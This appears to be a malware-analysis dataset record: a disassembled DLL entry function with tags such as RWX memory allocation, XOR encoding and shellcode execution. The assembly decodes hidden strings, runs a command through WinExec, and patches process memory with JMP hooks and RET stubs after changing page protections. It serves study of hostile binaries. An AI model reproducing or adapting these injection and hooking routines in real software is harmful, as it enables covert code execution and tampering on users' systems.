Function at 0x10009280
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x35c
mov eax, dword [0x10025018]
xor eax, esp
mov dword [esp + 0x358], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
mov dword [esp + 0x18], esi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, dword [ebp + 0xc]
dec eax
jne 0x10009bcb
lea eax, [esp + 0x150]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
xor ebx, ebx
mov ecx, 0xdf
xor eax, eax
mov dl, byte [eax + 0x1001fe30]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x50], dl
inc eax
and ecx, 0xff
cmp eax, 0x36
jb 0x100092d1
lea eax, [esp + 0x150]
push eax
lea ecx, [esp + 0x54]
push ecx
lea edx, [esp + 0x260]
push edx
mov byte [esp + 0x92], bl
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0xc
push 0x37
lea eax, [esp + 0x54]
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push ebx
lea ecx, [esp + 0x25c]
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x104
lea edx, [esp + 0x154]
push ebx
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x104
lea eax, [esp + 0x25c]
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x94
lea ecx, [esp + 0x8c]
push ebx
push ecx
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [esp + 0x88]
push edx
mov dword [esp + 0x8c], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0x8c], 6
ja 0x100093a6
cmp dword [esp + 0x90], 1
ja 0x100093a6
mov byte [0x11182a2a], 1
jmp 0x100093af
push esi
call fcn.10016040
add esp, 4
cmp byte [0x4d1e69], 0xeb
jne 0x100093bd
call fcn.10015ef0
mov ecx, 0x1f247c23
lea eax, [esp + 0x18]
call fcn.10009cf0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
xor eax, eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov word [esp + 0x20], ax
mov byte [esp + 0x22], al
mov ecx, 0x5cc78337
lea eax, [esp + 0x44]
call fcn.1000a2a0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
mov dword [esp + 0x44], ecx
mov dword [esp + 0x48], ecx
mov word [esp + 0x4c], cx
call eax
mov byte [0x11182a5d], 1
call fcn.10004640
lea eax, [esp + 0x120]
push eax
mov ebx, 0x10
mov eax, 0x400000
mov dword [esp + 0x124], 0xc708c483
mov dword [esp + 0x128], 0xffffff05
mov dword [esp + 0x12c], 0x46ff
mov dword [esp + 0x130], 0x68006a00
call fcn.10015df0
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 4
test eax, eax
je 0x100094ba
mov ecx, dword [eax + 0x1f]
lea esi, [eax + 0x1e]
lea ebx, [esi + ecx + 5]
lea ecx, [esp + 0xc]
push ecx
lea eax, [ebx + 0xa]
mov dword [0x10025368], eax
mov edx, dword [eax + 1]
push 0x40
push 5
lea eax, [eax + edx + 5]
push ebx
mov dword [0x10025368], eax
call edi
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
push ecx
mov edx, 0x10004d40
sub edx, ebx
push 5
sub edx, 5
push ebx
mov byte [ebx], 0xe9
mov dword [ebx + 1], edx
call edi
call fcn.10014010
jmp 0x100094e2
mov ecx, 0xef
xor eax, eax
mov dl, byte [eax + 0x1001fe74]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x120], dl
inc eax
and ecx, 0xff
cmp eax, 0x11
jb 0x100094c1
call fcn.10015ef0
lea eax, [esp + 0x120]
push eax
mov ebx, 0x1b
mov eax, 0x400000
mov dword [esp + 0x124], 0xffffffa1
mov dword [esp + 0x128], 0xffffffff
mov dword [esp + 0x12c], 0xffff8b32
mov dword [esp + 0x130], 0xffffffff
mov dword [esp + 0x134], 0x78ffffff
mov dword [esp + 0x138], 0x8bffff89
mov word [esp + 0x13c], 0x8ff
mov byte [esp + 0x13e], 0x51
call fcn.10015df0
xor ebx, ebx
add esp, 4
cmp eax, ebx
je 0x10009844
mov ecx, dword [eax + 1]
lea edx, [esp + 0x120]
mov byte [esp + 0x140], bl
push edx
mov ebx, 0x21
mov eax, 0x400000
mov dword [0x11182aa8], ecx
mov dword [esp + 0x124], 0xffffffa1
mov dword [esp + 0x128], 0xffff89ff
mov dword [esp + 0x12c], 0x83ffffff
mov dword [esp + 0x130], 0xffffffff
mov dword [esp + 0x134], 0xffff02ff
mov dword [esp + 0x138], 0xffffff83
mov dword [esp + 0x13c], 0x7404ffff
mov dword [esp + 0x140], 0x6affebff
call fcn.10015df0
xor ebx, ebx
add esp, 4
mov dword [0x11182aac], eax
cmp eax, ebx
je 0x100095f1
mov eax, dword [eax + 1]
mov dword [0x11182aac], eax
jmp 0x10009647
mov ecx, 0xba
xor eax, eax
jmp 0x10009600
mov dl, byte [eax + 0x1001fe88]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x24], dl
inc eax
and ecx, 0xff
cmp eax, 0xf
jb 0x10009600
lea eax, [esp + 0x24]
push eax
push ebx
mov ecx, 0x10125568
mov byte [esp + 0x3b], bl
call fcn.1000b500
xor eax, eax
add esp, 8
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
call fcn.10015ef0
lea ecx, [esp + 0x120]
push ecx
mov ebx, 0x17
mov eax, 0x400000
mov dword [esp + 0x124], 0x8e68
mov dword [esp + 0x128], 0xc16800
mov dword [esp + 0x12c], 0xff8d0000
mov dword [esp + 0x130], 0xffffffff
mov dword [esp + 0x134], 0xffffffe8
mov word [esp + 0x138], 0x6aff
mov byte [esp + 0x13a], 2
call fcn.10015df0
mov esi, eax
add esp, 4
test esi, esi
je 0x1000981a
lea edx, [esp + 0x120]
push edx
mov ebx, 0x1b
mov eax, 0x400000
mov dword [esp + 0x124], 0xffffffa1
mov dword [esp + 0x128], 0xffffffff
mov dword [esp + 0x12c], 0xffff8b32
mov dword [esp + 0x130], 0xffffffff
mov dword [esp + 0x134], 0x78ffffff
mov dword [esp + 0x138], 0x8bffff89
mov word [esp + 0x13c], 0x8ff
mov byte [esp + 0x13e], 0x51
call fcn.10015df0
add esp, 4
mov dword [0x11182a18], eax
test eax, eax
je 0x10009735
mov eax, dword [eax + 0xb]
mov dword [0x11182a18], eax
jmp 0x10009761
mov ecx, 0x67
xor eax, eax
lea esp, [esp]
mov dl, byte [eax + str.4__58]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x120], dl
inc eax
and ecx, 0xff
cmp eax, 0x12
jb 0x10009740
call fcn.10015ef0
mov eax, dword [esi + 0x48]
mov ecx, dword [esi + eax + 0x57]
lea eax, [esi + eax + 0x4c]
lea ecx, [eax + ecx + 0xf]
mov dword [0x11182a10], ecx
add ecx, 0x2d
mov dword [0x11182a0c], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x11182a0c], ecx
mov edx, dword [eax + 0x26]
mov dword [0x11182a14], eax
lea eax, [eax + edx + 0x2a]
lea ecx, [eax + 8]
mov dword [0x10025378], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x10025378], ecx
lea ecx, [eax + 0x21]
mov dword [0x1002536c], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x1002536c], ecx
lea ecx, [eax + 0x3a]
mov dword [0x10025370], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x10025370], ecx
lea ecx, [eax + 0x42]
mov dword [0x10025374], ecx
mov edx, dword [ecx + 1]
mov dword [0x11182a08], eax
add eax, 0xc8
lea ecx, [ecx + edx + 5]
mov dword [0x1002537c], eax
mov dword [0x10025374], ecx
mov edx, dword [eax + 1]
lea eax, [eax + edx + 5]
mov dword [0x1002537c], eax
mov dword [0x11182ab0], 0x10005640
jmp 0x10009897
mov ecx, 0x72
xor eax, eax
mov dl, byte [eax + 0x1001feac]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x120], dl
inc eax
and ecx, 0xff
cmp eax, 0x1b
jb 0x10009821
call fcn.10015ef0
jmp 0x10009897
mov ecx, 0x82
xor eax, eax
jmp 0x10009850
mov dl, byte [eax + 0x1001fec8]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x34], dl
inc eax
and ecx, 0xff
cmp eax, 0xf
jb 0x10009850
lea eax, [esp + 0x34]
push eax
push ebx
mov ecx, 0x10125568
mov byte [esp + 0x4b], bl
call fcn.1000b500
xor eax, eax
add esp, 8
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
call fcn.10015ef0
lea ecx, [esp + 0x120]
push ecx
mov ebx, 0x30
mov eax, 0x400000
mov dword [esp + 0x124], 0xffe8c88b
mov dword [esp + 0x128], 0xe8ffffff
mov dword [esp + 0x12c], 0xffffffff
mov dword [esp + 0x130], 0xffffffe8
mov dword [esp + 0x134], 0xffffe8ff
mov dword [esp + 0x138], 0xffe8ffff
mov dword [esp + 0x13c], 0xe8ffffff
mov dword [esp + 0x140], 0xffffffff
mov dword [esp + 0x144], 0xffffffe8
mov dword [esp + 0x148], 0xffffe8ff
mov dword [esp + 0x14c], 0x1b0ffff
mov dword [esp + 0x150], 0xc35de58b
call fcn.10015df0
add esp, 4
mov dword [0x10130494], eax
test eax, eax
je 0x1000998a
lea edx, [eax + 0x20]
mov dword [0x1053053c], edx
lea ebx, [eax + 0x1b]
lea edx, [esp + 0xc]
push edx
mov dword [0x10530538], ebx
mov eax, dword [ebx + 1]
push 0x40
push 5
lea ecx, [ebx + eax + 5]
push ebx
mov dword [0x10530538], ecx
call edi
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x10]
push ecx
push edx
mov eax, 0x100057c0
sub eax, ebx
push 5
sub eax, 5
push ebx
mov byte [ebx], 0xe9
mov dword [ebx + 1], eax
call edi
jmp 0x1000998f
call fcn.10015ef0
mov ebx, dword [0x11182a10]
lea eax, [esp + 0xc]
push eax
push 0x40
push 0x76
push ebx
call edi
push 0x76
push 0xc3
push ebx
call sub.MSVCR100.dll_memset
mov edx, dword [esp + 0x18]
add esp, 0xc
lea ecx, [esp + 0xc]
push ecx
push edx
push 0x76
push ebx
call edi
mov ebx, dword [0x11182a08]
lea eax, [esp + 0xc]
push eax
push 0x40
push 0x1e0
push ebx
call edi
push 0x1e0
push 0xc3
push ebx
call sub.MSVCR100.dll_memset
mov edx, dword [esp + 0x18]
add esp, 0xc
lea ecx, [esp + 0xc]
push ecx
push edx
push 0x1e0
push ebx
call edi
mov ebx, dword [0x11182a14]
lea eax, [esp + 0xc]
push eax
push 0x40
push 0x33
push ebx
call edi
push 0x33
push 0xc3
push ebx
call sub.MSVCR100.dll_memset
mov edx, dword [esp + 0x18]
add esp, 0xc
lea ecx, [esp + 0xc]
push ecx
push edx
push 0x33
push ebx
call edi
mov ebx, dword [0x11182a14]
lea eax, [esp + 0xc]
push eax
push 0x40
push 5
push ebx
call edi
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x10]
push edx
push eax
mov ecx, 0x100053f0
sub ecx, ebx
push 5
sub ecx, 5
push ebx
mov byte [ebx], 0xe9
mov dword [ebx + 1], ecx
call edi
push 0x400000
push 0
push 0x10130538
call sub.MSVCR100.dll_memset
add esp, 0xc
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
push 0x400000
push 0x10130538
push 0x400000
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push eax
call ebx
xor eax, eax
mov cl, byte [eax + 0x10130538]
sub cl, 0x10
xor cl, 0x77
mov byte [eax + 0x10130538], cl
inc eax
cmp eax, 0x400000
jb 0x10009a94
push 0xa0
push 0
push 0x10130498
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0xa0
push 0x10130498
push 0x100053f0
call edi
push eax
call ebx
xor eax, eax
lea ebx, [ebx]
mov dl, byte [eax + 0x10130498]
sub dl, 0x10
xor dl, 0x77
mov byte [eax + 0x10130498], dl
inc eax
cmp eax, 0xa0
jb 0x10009ae0
push 0x7c
push 0
push 0x10130418
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0x7c
push 0x10130418
push fcn.10004e40
call edi
push eax
call ebx
xor eax, eax
mov cl, byte [eax + 0x10130418]
sub cl, 0x10
xor cl, 0x77
mov byte [eax + 0x10130418], cl
inc eax
cmp eax, 0x7c
jb 0x10009b20
push 0x52f
push 0
push 0x1012fee8
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0x52f
push 0x1012fee8
push fcn.10004ec0
call edi
push eax
call ebx
xor eax, eax
mov dl, byte [eax + 0x1012fee8]
sub dl, 0x10
xor dl, 0x77
mov byte [eax + 0x1012fee8], dl
inc eax
cmp eax, 0x52f
jb 0x10009b64
push 0x32
push 0
push 0x1012fe7c
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0x32
push 0x1012fe7c
push 0x1000e640
call edi
push eax
call ebx
xor eax, eax
mov cl, byte [eax + 0x1012fe7c]
sub cl, 0x10
xor cl, 0x77
mov byte [eax + 0x1012fe7c], cl
inc eax
cmp eax, 0x32
jb 0x10009ba4
mov edx, dword [esp + 0x14]
mov dword [0x11182a24], edx
call fcn.100119b0
mov ecx, dword [esp + 0x364]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.10019286
mov esp, ebp
pop ebp
ret 0xc